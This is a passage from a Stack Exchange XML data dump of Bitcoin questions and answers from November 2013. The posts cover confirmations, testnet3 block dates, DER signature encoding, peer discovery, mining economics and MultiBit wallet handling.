decreases the chance of the block being invalidated, because a competing chain has to mine all the blocks since our observed transaction was confirmed, i.e. has to do multiple times the work of the whole network in order to catch up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When your transaction has been confirmed six times, i.e. five&#xA;additional blocks have been found since your transaction was featured&#xA;in a block, the probability of a miner with 30% mining power overtaking the current chain tip is less&#xA;than 1%, and some consider the transaction to be reliable at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/42911/5406&quot;&gt;Is there actual consensus on the blockchain&amp;#39;s tip or only until the next block?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2018-01-12T18:19:23.083" LastActivityDate="2018-01-12T18:19:23.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14412" PostTypeId="1" CreationDate="2013-11-07T02:28:33.453" Score="2" ViewCount="80" Body="&lt;p&gt;This is kind of an obscure question, but I'm curious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In playing with Testnet (version 3), I noticed an odd jump in the block times.  Blocks &lt;a href=&quot;http://blockexplorer.com/testnet/b/0&quot; rel=&quot;nofollow noreferrer&quot;&gt;0&lt;/a&gt; through &lt;a href=&quot;http://blockexplorer.com/testnet/b/513&quot; rel=&quot;nofollow noreferrer&quot;&gt;513&lt;/a&gt; have block times from 2-3 February 2011.  Block &lt;a href=&quot;http://blockexplorer.com/testnet/b/514&quot; rel=&quot;nofollow noreferrer&quot;&gt;514&lt;/a&gt; is dated 25 May 2012 - over 15 months later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did the bitcoin developers mine blocks 0-513 in 2011 and then sit on them for over a year, or were they mined in 2012 and backdated for some reason?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, as I learned from &lt;a href=&quot;https://bitcoin.stackexchange.com/a/9979/5757&quot;&gt;this answer&lt;/a&gt;, testnet3 was adopted by &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/feeb761ba07af74a7cd78b8c8f7c2a961fd9ea1c&quot; rel=&quot;nofollow noreferrer&quot;&gt;this commit&lt;/a&gt;.  I'm a little confused as to the exact date; &lt;code&gt;git log&lt;/code&gt; appears to show it as 12 April 2012, while &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commits/feeb761ba07af74a7cd78b8c8f7c2a961fd9ea1c&quot; rel=&quot;nofollow noreferrer&quot;&gt;github&lt;/a&gt; gives 25 May 2012.  (Maybe the discrepancy has to do with when the change was made in whose repo?)  The first release with testnet3 was 0.7.0, &lt;a href=&quot;http://bitcoin.org/en/release/v0.7.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;released 17 September 2012&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-11-07T02:28:33.453" Title="Why are the first 514 blocks on testnet3 dated much earlier?" Tags="|testnet|history|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14414" PostTypeId="2" ParentId="14409" CreationDate="2013-11-07T07:07:51.597" Score="3" Body="&lt;p&gt;When you run bitcoin-qt or bitcoind in command line, pass that argument. This way, the client indexes transactions from a file, not from the internet.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-qt -loadblock=/path/to/bootstrap.dat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://eu2.bitcoincharts.com/blockchain/&quot; rel=&quot;nofollow&quot;&gt;http://eu2.bitcoincharts.com/blockchain/&lt;/a&gt;&#xA; Version 0.7 or later will also import this file by passing the command line argument &quot;-loadblock=/path/to/bootstrap.dat&quot; to bitcoin-qt or bitcoind. &lt;/p&gt;&#xA;" OwnerUserId="6150" LastEditorUserId="1817" LastEditDate="2013-12-11T12:38:03.527" LastActivityDate="2013-12-11T12:38:03.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14415" PostTypeId="1" AcceptedAnswerId="14421" CreationDate="2013-11-07T07:18:47.087" Score="17" ViewCount="2320" Body="&lt;p&gt;A signature in secp256k1 is two 32 byte numbers. DER encoding a signature adds about 6-7 bytes.  It also needlessly complicates things (is DER encoding used anywhere else?).  In a transaction format that seems to try to squeeze every byte out, this is very strange to me.  Why not just use a 64 byte string to represent sigs instead? &lt;/p&gt;&#xA;" OwnerUserId="7229" LastActivityDate="2021-09-09T07:52:31.937" Title="Why use DER encoding for signatures?" Tags="|signature|ecdsa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14416" PostTypeId="2" ParentId="14410" CreationDate="2013-11-07T09:24:27.470" Score="8" Body="&lt;p&gt;The peer discovery process, in order of priority:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the client attempts to connect to peers in it's local &lt;code&gt;peers.dat&lt;/code&gt; database  &lt;/li&gt;&#xA;&lt;li&gt;the client attempts to gain peers from one of four DNS-based seed nodes, hosted by Bitcoin developers  &lt;/li&gt;&#xA;&lt;li&gt;the client gives up&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;peers.dat&lt;/code&gt; database is filled with information using &lt;code&gt;addr&lt;/code&gt; messages, which connected peers use to exchange their knowledge of other existing nodes in the network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to make your own local nodes, you need to set &lt;code&gt;discovery&lt;/code&gt; to &lt;code&gt;0&lt;/code&gt;, which will disable advertising of the peers as available for incoming connections. You can then forge connections using local DNS or simply ip addresses of other local nodes with the &lt;code&gt;connect&lt;/code&gt; option. At least one of these will need to be connecting out to the wider network for you to be able to stay up to date, and to mine on using p2pool. More than one connection out is vital to the stability of your private nodes. &lt;/p&gt;&#xA;" OwnerUserId="7567" LastEditorUserId="7567" LastEditDate="2013-11-08T01:09:05.803" LastActivityDate="2013-11-08T01:09:05.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14417" PostTypeId="1" AcceptedAnswerId="14443" CreationDate="2013-11-07T12:55:18.327" Score="4" ViewCount="314" Body="&lt;p&gt;I will (probably) oversimply things, but I see it like that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Gold linked currencies: someone stores in vaults the value of the circulating money (1) and that &quot;real wealth&quot; is safe to be eventually put again on the market and used for something useful (build microchips, drugs, or something else)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fiat-currency: someone &quot;prints&quot; money for free (or almost).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin: issuing currency costs as much electricity and equipment as the value of the issued BTC (2). Those resources are lost forever.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(1) or a fraction of it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2) it is an approximation, since the cost of issuing BTC can be more or less than the value of issued coins, but it will not be far from it. If it is very profitable more people will mine, making difficulty increase, if it is hardly or not profitable people will stop mining making difficulty decrease.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it correct? Does it mean that bitcoin has burnt some billions of dollar worth of resources?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did someone address this economical and ethical problem?&lt;/p&gt;&#xA;" OwnerUserId="7179" LastEditorUserId="5292" LastEditDate="2013-11-07T15:35:49.940" LastActivityDate="2013-11-09T19:36:34.663" Title="Is mining an antieconomical process?" Tags="|economic-theory|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14418" PostTypeId="2" ParentId="14361" CreationDate="2013-11-07T13:07:50.730" Score="1" Body="&lt;p&gt;Depending on which pool your mining, this is usually representative of how many valid shares are being passed back to the pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has been displayed in a decimal fraction it seems, so 0.985 would be an amount of 98.5% valid shares returned.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-11-07T13:07:50.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14419" PostTypeId="2" ParentId="9465" CreationDate="2013-11-07T15:04:29.423" Score="-1" Body="&lt;p&gt;Evan helped me greatly with his extensive analysis of Coinbase.  I just bought my very first bitcoin ever, using Coinbase from my iPad while sitting here at a coffee shop in Colorado.  Here are some additional insights while they are still fresh in my mind.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I set up a new checking account at Wells Fargo yesterday morning specifically to put a guard rail around my bitcoin transactions. This was because the Coinbase web page required me (Nov 2013) to send them a routing number and account number, but I did not feel comfortable doing this with my regular checking account. I funded the new Wells Fargo checking account with $300 that I paid with six 50-dollar bills.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I went onto the Coinbase website about an hour later, and entered my new routing number and account number. There was a small snag, because Coinbase was initially unable to verify the existence of my new WF account. The Coinbase site informed me that it would try to deposit two small amounts of cash into my new WF account over the next few days, after which I could verify to them the amounts of the two.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This morning (24 hours later) I noticed that a 19-cent deposit and a 7-cent deposit had been made overnight to my WF account. I entered this info on the Coinbase verification tab, and got immediate confirmation that this was successful.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Coinbase also required me to enter a phone number, and I entered my iPhone number. The site then required me to enter a code that it said was available by SMS. I had no idea what SMS even means, but there was a tab I could click to request a phone call from Coinbase to read me the required code number. After I clicked the tab, my iPhone got a phone call from San Francisco about 20 seconds later. A robovoice read me the code number slowly and clearly, and I was able to type it into the Coinbase box. I got a Coinbase confirmation alert immediately.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I then entered a buy for one bitcoin, with a price of $289 and a $3 transaction fee. The website confirmed the pending buy, and gave me an alert that the one bitcoin will appear in my Coinbase account about 7 days from now. So far, so good.....  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7575" LastActivityDate="2013-11-07T15:04:29.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14421" PostTypeId="2" ParentId="14415" CreationDate="2013-11-07T16:04:31.313" Score="15" Body="&lt;p&gt;My guess is that Satoshi did not know about the internals of ECDSA signatures, and simply used what OpenSSL gave him.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it didn't require a hard forking change (requiring every wallet and verifying node on the network to upgrade), we'd have changed it long ago.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-11-07T16:04:31.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14424" PostTypeId="2" ParentId="14278" CreationDate="2013-11-07T16:56:22.067" Score="3" Body="&lt;p&gt;As Meni mentions, there are ways to change the hashing algorithm used for Bitcoin. For this change to be made, all clients would have to be updated and the blockchain would look very weird as it would still contain all historic data that used SHA256.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when some party from one day to the other can manually create collisions, as I think you suggest with &quot;compromised&quot;, they will only be able to send bitcoins from all existing addresses if also RIPEMD-160 and &lt;a href=&quot;https://en.bitcoin.it/wiki/ECDSA&quot; rel=&quot;nofollow noreferrer&quot;&gt;ECDSA&lt;/a&gt; will be compromised. These three algorithms are used to create the address from a private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SHA256 has more significance in mining. But still, I think the ability to manually create SHA256 collisions won't help you much with mining. When mining, you hash a bock that has a certain formatting. This hash must satisfy certain conditions in order to be accepted. So what you would be able to do when you compromised SHA256 is take a valid hash and look for different plaintexts that result in this hash. However, the chance that this plaintext has a valid block format is very low. I'd guess myself it is even smaller than the chance to find a valid block in the regular way of mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Can anyone please verify this conclusion?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerning address generation and generating &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7724/what-happens-if-your-bitcoin-client-generates-an-address-identical-to-another-pe&quot;&gt;address collisions&lt;/a&gt;, I once read (sorry I forgot where), that it is indeed the plan to change the hashing algorithm if the mining ecosystem evolves to a certain point. Currently searching for hash collisions is far less profitable than mining. But finding a collision can earn you more than one block reward. So what I read was that as soon as collision finding is no longer discouraged enough by being so much less profitable than mining, a change of hashing algorithm will be necessary. This change will probably make address generation harder.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-11-07T16:56:22.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14425" PostTypeId="1" CreationDate="2013-11-07T17:05:53.753" Score="1" ViewCount="526" Body="&lt;p&gt;I would like to reorganise a wallet I created with MultiBit. It seems to be composed of the XYZ.wallet file, plus a XYZ.info file and a XYZ-data folder. Can those be freely moved around into another directory? Can I rename the XYZ-part of these 3 items without causing MultiBit any problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any advice and many greetings!&lt;/p&gt;&#xA;" OwnerUserId="7579" LastActivityDate="2013-11-07T20:10:08.857" Title="Is it possible to rename &amp; move a MultiBit wallet" Tags="|wallet|multibit|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14426" PostTypeId="2" ParentId="14417" CreationDate="2013-11-07T17:38:53.853" Score="3" Body="&lt;p&gt;So first of all, 'anti-economical' is not a proper word and doesn't have a clear definition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'll try to answer the question: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) It is true that in a perfect market for mining, the cost of mining should be equal to the mining revenues generated. But think of it: For most of bitcoin's history they weren't worth very much so even if at the time people spent as much on mining as the bitcoins were worth this would have been a small amount. Most of the current value of bitcoins came through the price increase. Overall, this means that only a fraction of the value of bitcoin's were actually spent on mining. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) I think it's wrong to say that those resources were 'lost forever' as they served to verify transactions and maintain the bitcoin network. This is an extremely valuable service. It would be more adequate to compare the costs of mining to the costs of maintaining the bank's payment processing infrastructure. So it only makes sense to say &quot;resources spent on mining are lost forever&quot; if you applied the same to a significant portion of bank's expenses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) In the medium to long-term miners will make most and then all of their revenues not from mining new coins but from transaction fees. So we would expect that the total cost of mining will end up being equal to the transaction fees. This means that transaction fees or how much people value making bitcoin transactions will drive miner's revenues and thus how much they invest in mining hardware and electricity which in turn will drive the difficulty. That seems like a pretty efficient system to me.&lt;/p&gt;&#xA;" OwnerUserId="7036" LastActivityDate="2013-11-07T17:38:53.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14427" PostTypeId="2" ParentId="14425" CreationDate="2013-11-07T18:28:51.590" Score="1" Body="&lt;p&gt;Yes, they can be. But you will want to close MultiBit first, and then when you open MultiBit again you will need to tell it where you moved your wallet using File-&gt;Open Wallet.&lt;/p&gt;&#xA;" OwnerUserId="7582" LastActivityDate="2013-11-07T18:28:51.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14428" PostTypeId="1" CreationDate="2013-11-07T18:46:43.310" Score="2" ViewCount="680" Body="&lt;p&gt;I there a graph correlating fee size and confirmation time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A graph where I can see the fee paid by transactions which got confirmed in less than 20 minutes. Is there a graph like that?&lt;/p&gt;&#xA;" OwnerUserId="7584" LastEditorUserId="7584" LastEditDate="2013-11-07T23:38:32.843" LastActivityDate="2017-10-26T10:39:39.257" Title="Fee Paid vs Confirmation Time" Tags="|transaction-fees|confirmations|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14429" PostTypeId="2" ParentId="11315" CreationDate="2013-11-07T18:53:57.423" Score="0" Body="&lt;p&gt;Not exactly a duplicate of &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3712/how-can-i-create-a-multi-signature-2-of-3-transaction&quot;&gt;this question&lt;/a&gt;, so I'm not marking it as such, but I think that question &lt;em&gt;does&lt;/em&gt; answer yours. In a nutshell, the Bitcoin reference client can do this. You have to use the command line or JSON-RPC, though. Gavin Andresen &lt;a href=&quot;https://gist.github.com/gavinandresen/3966071&quot; rel=&quot;nofollow noreferrer&quot;&gt;wrote a script&lt;/a&gt; for it.&lt;/p&gt;&#xA;" OwnerUserId="7582" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-11-07T19:02:39.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14433" PostTypeId="2" ParentId="14399" CreationDate="2013-11-07T19:55:19.627" Score="2" Body="&lt;p&gt;You simply don't know via any existing APIs that I'm aware of. Potentially you could regularly update a market depth API watching for large changes at a price point which would indicate a large order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you can't tell whether someone has broken up a large order into a number of smaller orders, and using a bot it's trivial to cancel a large number of orders very quickly. &lt;/p&gt;&#xA;" OwnerUserId="3210" LastActivityDate="2013-11-07T19:55:19.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14434" PostTypeId="2" ParentId="14425" CreationDate="2013-11-07T20:10:08.857" Score="0" Body="&lt;p&gt;You can move them all together but do not rename them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data folder contains a whole load of backups which also use the wallet name (XYZ) in your example.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-11-07T20:10:08.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14436" PostTypeId="1" AcceptedAnswerId="14438" CreationDate="2013-11-07T20:45:51.207" Score="0" ViewCount="375" Body="&lt;p&gt;Simple question.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I keep reading &quot;don't lose your wallet&quot;, but which is the actual important part?  The .wallet file or the public/private key combo? Or is it both?&lt;/p&gt;&#xA;" OwnerUserId="7586" LastActivityDate="2013-11-07T21:15:39.483" Title="Which part of my wallet should I NOT lose? .wallet file or private/public key?" Tags="|wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14437" PostTypeId="2" ParentId="11049" CreationDate="2013-11-07T21:08:52.433" Score="1" Body="&lt;p&gt;I agree this is a horrible limitation of this app too and makes the app pretty much useless the way it is. I used to use it to send bitcoins but sometimes my transactions would take hours or even days to be confirmed, so I no longer use it. Unfortunately I'm stuck carrying around a laptop now if I want to be able to spend bitcoins. That's kind of awkward to do in a restaurant. This is almost reason enough to switch to Android. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've always had my Blockchain.info web setting set to &quot;generous&quot; but it seems like the iPhone app ignores this setting and almost all of my transactions are sent without fees. &lt;/p&gt;&#xA;" OwnerUserId="7592" LastActivityDate="2013-11-07T21:08:52.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14438" PostTypeId="2" ParentId="14436" CreationDate="2013-11-07T21:15:39.483" Score="2" Body="&lt;p&gt;In the original Satoshi wallet (BitcoinQt), your private keys are stored in the &lt;code&gt;wallet.dat&lt;/code&gt; file. SO essentially, you may not lose either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You private keys are the data that grant you access to your coins, so those are the ones you should keep safe at any time. Most wallet clients call the file they store your keys in your &quot;wallet&quot;. Various wallet apps will save the file under a different name, but mostly you can export it using the app itself or find it in their data directory.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-11-07T21:15:39.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14439" PostTypeId="1" CreationDate="2013-11-07T22:15:14.813" Score="1" ViewCount="10898" Body="&lt;p&gt;Does anyone have an experience in using &lt;a href=&quot;http://btcrobot.com/&quot; rel=&quot;nofollow&quot;&gt;BTC Robot&lt;/a&gt;? Can it make some money or is it just a scam?&lt;/p&gt;&#xA;" OwnerUserId="3120" LastActivityDate="2016-01-18T05:00:53.523" Title="Is BTC Robot working or is it a scam?" Tags="|trading|bots|" AnswerCount="7" CommentCount="1" ClosedDate="2016-01-18T16:15:58.683" ContentLicense="CC BY-SA 3.0" />
  <row Id="14440" PostTypeId="5" CreationDate="2013-11-07T22:27:50.997" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-11-07T22:27:50.997" LastActivityDate="2013-11-07T22:27:50.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14441" PostTypeId="4" CreationDate="2013-11-07T22:27:50.997" Score="0" Body="2-factor-authentification is a hybrid scheme where you know already one half of the password (which keeps constant / static) and then you get the other half by sms or any other means; that 2nd half is a one-time-password." OwnerUserId="7594" LastEditorUserId="7594" LastEditDate="2013-11-07T22:44:27.223" LastActivityDate="2013-11-07T22:44:27.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14443" PostTypeId="2" ParentId="14417" CreationDate="2013-11-07T22:49:30.907" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it correct? Does it mean that bitcoin has burnt some billions of dollar worth of resources?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, though I don't think the amount is in the billions yet. Likely hundreds of millions of dollars have gone into electricity and ASICs just to keep the Bitcoin network secure.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Did someone address this economical and ethical problem?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Bitcoins are currently worth about $300 each. The average issue cost of a Bitcoin currently in circulation is &lt;em&gt;much&lt;/em&gt; less than this. Over time, the block reward decreases. So if Bitcoin is successful over the long term, the issue cost of the average Bitcoin will likely be a small fraction of its value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's not forget that Bitcoin creates value by providing for easy, quick payments around the world. Each Bitcoin can provide this value any number of times and only has to be issued once.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-11-07T22:49:30.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14444" PostTypeId="1" AcceptedAnswerId="14445" CreationDate="2013-11-07T23:17:51.787" Score="0" ViewCount="343" Body="&lt;p&gt;I had a quick read of the basics of Bitcoin and the mining, but i still don't understand why this is done. can someone please explain in simple terms...  &lt;/p&gt;&#xA;" OwnerUserId="7595" LastEditorUserId="5406" LastEditDate="2016-04-28T13:23:01.607" LastActivityDate="2016-04-28T13:23:01.607" Title="New to Bitcoin - Need help understanding the mining part" Tags="|mining-theory|" AnswerCount="1" CommentCount="0" ClosedDate="2013-11-12T09:23:54.217" ContentLicense="CC BY-SA 3.0" />
  <row Id="14445" PostTypeId="2" ParentId="14444" CreationDate="2013-11-07T23:46:00.377" Score="3" Body="&lt;p&gt;The biggest problem with developing a peer-to-peer payment system with no central authorities is preventing a double spend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say you're developing a payment system to allow people to pay each other widgets. If Alice has 10 widgets, she has to be able to pay 10 widgets to Bob. And she has to be able to pay 10 widgets to Charlie. But if she can do both with the same 10 widgets, the system is broken. So, somehow, Alice paying 10 widgets to Bob must stop her from paying those same 10 widgets to Charlie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin solves this problem with a mechanism called &quot;proof of work&quot;. It's a bit complicated to explain, but the key point is that it requires an enormous amount of computational effort to be placed on either of the two payments. The one that has this computational effort is the one that &quot;wins&quot;. The cost to put the computational effort behind both transactions would exceed the value of the transactions and you'd never catch up anyway because the winning transaction would be getting more and more proof of work (called &quot;confirmations&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because this computational effort costs money, Bitcoin needs some way to reward those who do it. They won't just do it out of the goodness of their hearts. Eventually, transaction fees will probably do this, but in the early days, there were too few transactions and Bitcoins weren't valuable enough for transaction fees to pay for the proof of work needed to secure the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The genius of Bitcoins is that the designer(s) solved two problems with mining. They added a &quot;block reward&quot; that goes to the miners to reimburse them for their computational effort. This not only solved the problem of how you pay for the computations effort needed to secure the currency before transaction fees can do it but it also provided an automated and predictable way to create the currency in the first place.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-11-07T23:46:00.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14446" PostTypeId="1" CreationDate="2013-11-08T01:01:40.420" Score="7" ViewCount="2394" Body="&lt;p&gt;Is it possible for a message sender to encrypt a message string with a receiver's public wallet address, email this ciphertext to the receiver and then have the receiver decrypt the message using their wallet (private key)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not talking about spamming the blockchain, the message could be sent using IM/Email once encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it's sort of like using gpg but with the wallet public/private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="7597" LastActivityDate="2017-10-09T08:41:59.443" Title="Using the bitcoin wallet PKI for message encryption" Tags="|wallet|bitcoin-core|private-key|encryption|message|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14447" PostTypeId="1" CreationDate="2013-11-08T04:25:36.323" Score="2" ViewCount="1113" Body="&lt;p&gt;So, if I wanted to have Bitcoin as a form of method where users could pay, how would I do this? Obviously, there is paypal, where the buyer sends money through pp, which disperses to the seller. So, I need to have this type of system on my site as well. Is there anything like it for Bitcoins? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7599" LastEditorUserId="5406" LastEditDate="2013-11-08T12:39:40.047" LastActivityDate="2014-06-01T21:32:21.710" Title="How to integrate a Bitcoin payment service in my auction site" Tags="|payment|ecommerce|payment-processors|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14448" PostTypeId="1" CreationDate="2013-11-08T05:16:58.383" Score="1" ViewCount="335" Body="&lt;p&gt;As we know, one of the concepts of Bitcoin is to be &quot;decentralized&quot;. When individual miners, even with ASIC miners, become unprofitable, will the system become more centralized to those several superb professional miners? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would that finally affect the willingness of users to accept Bitcoin and lead to its collapse?&lt;/p&gt;&#xA;" OwnerUserId="7600" LastEditorUserId="5406" LastEditDate="2016-01-20T20:21:36.480" LastActivityDate="2016-01-20T20:21:36.480" Title="Would a professional ASIC-machine holder eventually become a bank-like character?" Tags="|mining-pools|decentralization|mining-theory|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14450" PostTypeId="1" AcceptedAnswerId="14460" CreationDate="2013-11-08T06:09:50.733" Score="-2" ViewCount="350" Body="&lt;p&gt;Currently the price of 1 btc is more than 300$ at the time i wrote this. But , I had sold 5 BTC when the price was at 130 $ . I planned to buy them back when the price declined. But it never did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I expect the bitcoin price to go back to 100$? If yes when? (Just make a guess...)&lt;/p&gt;&#xA;" OwnerUserId="7602" LastActivityDate="2013-11-08T13:18:38.673" Title="When will price of BTC go below 100$?" Tags="|mtgox|exchange-rate|" AnswerCount="1" CommentCount="4" ClosedDate="2013-11-08T17:07:14.133" ContentLicense="CC BY-SA 3.0" />
  <row Id="14452" PostTypeId="1" CreationDate="2013-11-08T07:29:52.537" Score="1" ViewCount="136" Body="&lt;p&gt;Here's what happened. I took backup of the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   savings.wallet&#xA;   savings.info&#xA;   savings-data (and all its contents)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I connected to internet, started my MultiBit. The wallet was open by default. There was a new deposit transaction.&#xA;I closed the wallet. Opened my backup wallet, to see if it can pick up the new transaction.&#xA;When I opened the backup wallet, it can recognize only until when backup was created. It doesn't recognize the new transaction when synced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I have two copies of the same wallet file, one recognizes the new transaction while the other sees all transaction except the new one.&#xA;Why would this happen?&lt;/p&gt;&#xA;" OwnerUserId="7604" LastEditorUserId="132" LastEditDate="2014-06-17T11:07:03.430" LastActivityDate="2014-08-16T12:12:40.147" Title="Multibit backup created partial transactions" Tags="|multibit|backup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14453" PostTypeId="2" ParentId="14448" CreationDate="2013-11-08T09:23:46.460" Score="0" Body="&lt;p&gt;If the bitcoin developers get the incentives right (if they aren't already) then no, there will be plenty of small miners remaining. Also: anyone would be free to start their own mining company and start competing right away. There are no restrictions like currently on starting a bank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And those new companies have one advantage in that they can use the latest most efficient hardware and the cheapest data center technology etc.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2013-11-08T09:23:46.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
